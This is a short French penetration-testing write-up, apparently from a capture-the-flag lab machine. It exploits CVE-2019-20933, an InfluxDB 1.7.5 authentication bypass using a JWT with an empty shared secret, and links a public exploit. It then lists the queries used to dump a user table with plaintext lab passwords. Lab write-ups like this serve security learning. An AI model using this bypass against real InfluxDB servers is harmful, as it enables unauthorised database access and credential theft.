# Port 8086 - Pentesting InfluxDB

Le service sur le port 8086 est InfluxDB, version 1.7.5. Nous identifions une vulnérabilité de type RCE (Remote Code Execution) dans InfluxDB :

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FlJmxXcr9JdmVR4OgRlwq%2F%7B317A43DB-B062-4926-AC09-41A23065BA7F%7D.png?alt=media&#x26;token=b51ed4b3-9891-43f5-99ae-05081a4976fa" alt=""><figcaption></figcaption></figure>

**Vulnérabilité :** [CVE-2019-20933](https://nvd.nist.gov/vuln/detail/CVE-2019-20933)

{% embed url="<https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933>" %}

{% hint style="info" %}
Cette vulnérabilité permet de contourner l'authentification en exploitant un jeton JWT dont le `SharedSecret` est vide (aka shared secret), ce qui nous donne accès à la base de données.
{% endhint %}

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FZemlrAEMhVyP9PZxKiIQ%2F%7B6EE18961-54B1-4819-A38C-D1338A4D6626%7D.png?alt=media&#x26;token=1a9cd248-340b-4481-b430-0a23831dc048" alt=""><figcaption></figcaption></figure>

#### Accès à la Base de Données

Une fois connecté à InfluxDB, nous listons les bases de données disponibles:&#x20;

```sql
SHOW DATABASES;
```

Nous sélectionnons la base `devzat` et explorons les données des utilisateurs. Nous commençons par lister les "mesures" (tables) :

```sql
SHOW MEASUREMENTS;
```

La table **`user`** contient des informations utiles. Pour explorer les colonnes de cette mesure, nous exécutons :

```sql
SHOW FIELD KEYS FROM "user";
```

Nous affichons ensuite les 10 premiers résultats pour la table `user` :

```sql
SELECT * FROM "user" LIMIT 10;
```

<table data-header-hidden><thead><tr><th width="357"></th><th></th></tr></thead><tbody><tr><td><strong>password</strong></td><td><strong>username</strong></td></tr><tr><td>WillyWonka2021</td><td>wilhelm</td></tr><tr><td>woBeeYareedahc7Oogeephies7Aiseci</td><td>catherine</td></tr><tr><td>RoyalQueenBee$</td><td>charles</td></tr></tbody></table>

Le mot de passe de l'utilisateur *catherine* est **`woBeeYareedahc7Oogeephies7Aiseci`**, ce qui nous permet de récupérer le **flag** utilisateur.
